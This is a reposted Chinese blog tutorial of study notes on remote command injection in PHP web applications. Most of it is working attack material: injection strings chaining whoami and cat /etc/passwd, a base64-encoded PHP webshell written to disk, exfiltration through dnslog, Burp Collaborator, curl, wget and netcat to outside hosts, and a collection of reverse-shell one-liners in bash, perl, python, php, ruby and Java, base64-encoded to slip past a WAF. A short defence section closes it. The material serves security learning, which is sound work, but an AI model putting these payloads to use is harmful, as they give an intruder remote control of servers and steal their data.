我的编程空间,编程开发者的网络收藏夹
学习永远不晚

学习远程命令执行漏洞笔记

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

学习远程命令执行漏洞笔记

目录

1.命令执行漏洞描述

2.命令执行漏洞危害

3.命令执行漏洞代码分析 

 4.命令执行漏洞攻击

4.1;(分号)

4.2| (管道符号)

4.3&(后台任务符号)

 4.4&&(逻辑与)

 4.5||(逻辑或)

 4.6`(反引号)

 4.7$(command) 命令替换

 4.8win 命令链接符

5.命令执行漏洞外通信技巧

5.1利用管道符号写入 SHELL

5.2dnslog

 burpsuite burpcollaborator 测试无回显

利用日志测试无回显

 netcat

​编辑6. 命令执行漏洞 nc 反弹 shell

7. 命令执行漏洞防御

 总结

                                                                                                                                                        ————穷且益坚,不坠青云之志


1.命令执行漏洞描述

程序员使用脚本语言(比如 PHP)开发应用程序过程中,脚本语言开发十分快速、 简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层, 如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应 用需要调用一些外部程序时就会用到一些执行系统命令的函数。应用在调用这些 函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行 中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。

相关函数 在 PHP 中可以调用外部程序的常见函数:

system(args) 有回显passthru(args)(有回显)exec(args) (回显最后一行-必须 echo 输出)shell_exec(args) (无回显-必须输出)反引号:`` popen(handle,mode)(无回显)proc_open('cmd','flag','flag')(无回显)$process = proc_open('dir',$des,$pipes);echo stream_get_contents($pipes[1]);

2.命令执行漏洞危害

  •  继承 Web 服务器程序的权限,去执行系统命令
  •  继承 Web 服务器程序的权限,读写文件
  •  反弹 shell
  •  控制整个网站 
  • 甚至控制整个服务器   

3.命令执行漏洞代码分析 

从代码中,ipaddress 参数是外部可以控制的,再判断类型,再使用 shell_exec 函 数调用系统命令,所以存在命令执行漏洞。

 4.命令执行漏洞攻击

4.1;(分号)

命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执 行失败时,不会中断其它命令的执行。

ping -c 1 127.0.0.1;whoami

命令执行漏洞可以直接使用&&或者|和管道命令执行其他命令 命令链接符号解析

4.2| (管道符号)

通过管理符 可以将一个命令的标准输出管理为另外一个命令的标准输入,当它 失败后,会执行另外一条命令

ping -c 1 127.0.0.1|whoami

4.3&(后台任务符号)

命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符 号使 shell 在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他 工作

ping -c 4 127.0.0.1&cat /etc/passwd&

 4.4&&(逻辑与)

前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后 面的命令才被执行 ping -c 4 127.0.0.1&&whoami

 4.5||(逻辑或)

前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,它后面的 命令才被执行; ping -c ||whoami

 4.6`(反引号)

当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo `ls -a` 将 会首先执行 ls 并捕获其输出信息。然后再将它传递给 echo,并将 ls 的输出结果 打印在屏幕上,这被称为命令替换 echo `whoami`

 4.7$(command) 命令替换

这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。

ping -c 4 |echo $(whoami)

 4.8win 命令链接符

| & || && 跟 linux 一样 有回显的 发现命令执行漏洞,如果是回显的情况下,获取系统敏感信息。 win 操作系统

type c:\windows\win.ini

linux 操作系统

cat /etc/passwd

无回显 有回显的情况下相对交少,一般在实战环境环境中,无回显的环境较多,证明漏 洞存在就需要各种利用外通信技巧

5.命令执行漏洞外通信技巧

5.1利用管道符号写入 SHELL

如果存在漏洞的页面有 web 服务器,有权限写入,利用 shell 命令写入 webshell 后门到网站目录,访问即可获取 webshell

echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php

 带外通信技巧一般都是无回显的情况使用

5.2dnslog

dnslog 是一个显示解析记录的平台,在无回显的情况下,通过访问 dnslog,dnslog 会把你访问的子域名的头文件记录下来。

http://www.dnslog.cn/

 使用反引号`whoami`得到的用户名再,子域名,再使用 icmp 协议访问 ping 域名

ping -c 4 127.0.0.1| ping `whoami`.9t7w01.dnslog.cn

         

 如果存在漏洞得情况下 getsubdomin 就会得到回显得信息。

 burpsuite burpcollaborator 测试无回显

测试的原理和 dnslog 一样 使用 burpsuite 的 burpcollaborator 复制

 点击 copyt to clipboard 复制测试的子域名再拼接子域名

ping -c 4 127.0.0.1| ping `whoami`.569piqieuboa86avrm3hzxx57wdm1b.burpcollaborator.net

 Poll now 是刷新频率,如果有访问记录,会自动把请求记录下来,这个时候就能看到回显的 字符。

利用日志测试无回显

利用 HTTP 协议,访问 WEB 中间件时,iis 或者 apache 或者小型服务,都存在 访问日志。在 kali 上开启 python 的小型服务器。再用 curl 协议访问远程服务器 ip 的 80 端口,再到 kali 的终端查看记录即可。

使用 curl 命令

ping -c 4 ||curl http://192.168.0.133/?`whoami`


使用 wget 命令

ping -c 4 ||wget http://192.168.0.133/?`whoami`

 netcat

如果目标系统存在有 netcat 在 ubuntu 系统都会存在的。使用命令读取文件传递 到远程服务器上 远程服务器监听命令

nc -lp 9999 >passwd

本地执行命令

nc 192.168.1.53 9999 

6. 命令执行漏洞 nc 反弹 shell

在执行命令漏洞,一般的利用方式是执行反弹 shell,再进行其他的操作。 执行反弹 shell 的命令有许多。

反弹 shell 因为是从受害者,反向连接远程服务器,请求是从内部到外部,所以 防火墙是不会进行拦截。

远程服务器 nc 监听命令:

nc -vlnp 8080

受害者反弹 shell 命令,每种语言都有 sock 连接命令,可以根据不同的环境,选 择合适的命令。

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

使用 bash shell 执行

||/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.124/8080 0>&1'perl -e 'useSocket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'python -c 'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i<&%d >&%d 2>&%d",f,f,f)'nc -e /bin/sh 10.0.0.1 1234rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/fr = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line;do \$line 2>&5 >&5; done"] as String[])p.waitFor()

如果有 waf 进行连接,可以把语句进行 base64 加密后,因为加密后的字符串没 有触发拦截规则,再利用 shell 命令再进行解码。

bash -i >& /dev/tcp/192.168.0.103/8080 0>&1

base64 编码后

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzgwODAgMD4mMQ ==

受害者执行

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMzLzgwODAgMD4mM Q=="|base64 -d|bash

远程服务器监听

7. 命令执行漏洞防御

  • 不执行外部的应用程序或命令 尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行 system、 eval 等命令执行功能的函数前,要确认参数内容。
  • 使用 escapeshellarg 函数处理相关参数 escapeshellarg 函数会将用户引起参数或命令结束的字符进行转义,如单引号“’” 会被转义为“’”,双引号“"”会被转义为“"”,分号“;”会被转义为“;”, 这样 escapeshellarg 会将参数内容限制在一对单引号或双引号里面,转义参数中 包括的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击 的目的。
  • 使用 safe_mode_exec_dir 执行可执行的文件路径 将 php.ini 文件中的 safe_mode 设置为 On,然后将允许执行的文件放入一个目录, 并使用 safe_mode_exec_dir 指定这个可执行的文件路径。这样,在需要执行相应 的外部程序时,程序必须在 safe_mode_exec_dir 指定的目录中才会允许执行,否 则执行将失败。

 总结

以上是我学习完远程命令执行漏洞的学习心得和笔记,望自己能坚持下去。

                                                                                                                                                        ————穷且益坚,不坠青云之志

来源地址:https://blog.csdn.net/qq_56426046/article/details/126605906

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

学习远程命令执行漏洞笔记

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

SpringCloud Gateway远程命令执行漏洞源码分析

这篇文章主要讲解了“SpringCloud Gateway远程命令执行漏洞源码分析”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“SpringCloud Gateway远程命令执行漏洞源码分析
2023-07-05

Gogs/Gitea远程命令执行漏洞是怎样的

这期内容当中小编将会给大家带来有关Gogs/Gitea远程命令执行漏洞是怎样的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。0x00 漏洞背景11月05日,玄武实验室研究人员发现Gogs 和 Gitea存
2023-06-19

MongoDB学习笔记:命令行工具

本文更新于2022-01-22,使用MongoDB 4.4.5。目录bsondumpmongomongodmongodumpmongofilesmongorestoremongosmongostatmongotopbsondumpBSON查看工具。bsondu
MongoDB学习笔记:命令行工具
2015-07-06

Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)

使用SpringCloudGateway的应用程序在Actuator端点启用、公开和不安全的情况下容易受到代码注入的攻击,攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求,这篇文章主要介绍了Spring Cloud Gateway远程命令执行漏洞(CVE-2022-22947),需要的朋友可以参考下
2023-03-19

Cisco Smart Install远程命令执行漏洞的示例分析

这篇文章给大家介绍Cisco Smart Install远程命令执行漏洞的示例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。0x01 漏洞描述思科 IOS 和 IOS-XE 系统 Smart Install Cli
2023-06-19

MySQL学习笔记(16):命令行工具

本文更新于2020-06-14,使用MySQL 5.7,操作系统为Deepin 15.4。目录myisamchk——MyISAM表维护工具myisampack——MyISAM表压缩工具mysql——客户端连接工具mysqladmin——MySQL管理工具mys
MySQL学习笔记(16):命令行工具
2022-01-21

ghostscript沙箱绕过远程命令执行漏洞的示例分析

这篇文章将为大家详细讲解有关ghostscript沙箱绕过远程命令执行漏洞的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。0x00 漏洞背景11月21号,Semmle团队的安全研究员Man Yue
2023-06-19

Weblogic如何修复"Java反序列化"过程远程命令执行漏洞

小编给大家分享一下Weblogic如何修复"Java反序列化"过程远程命令执行漏洞,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!1.查找文档说明,在https://support.oracle.com上找到补丁的说明文档如
2023-06-04

【Java可执行程序命令】学习路线攻略,史诗级别全汇总 ~

Java可执行程序命令学习路线攻略 📗文章指路Java可执行命令1、编译工具 javac2、程序启动工具 java3、API文档生成 javadoc4、反编译工具 javap5、打包部署工具 jar6、调试工具 jd
2023-08-16

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录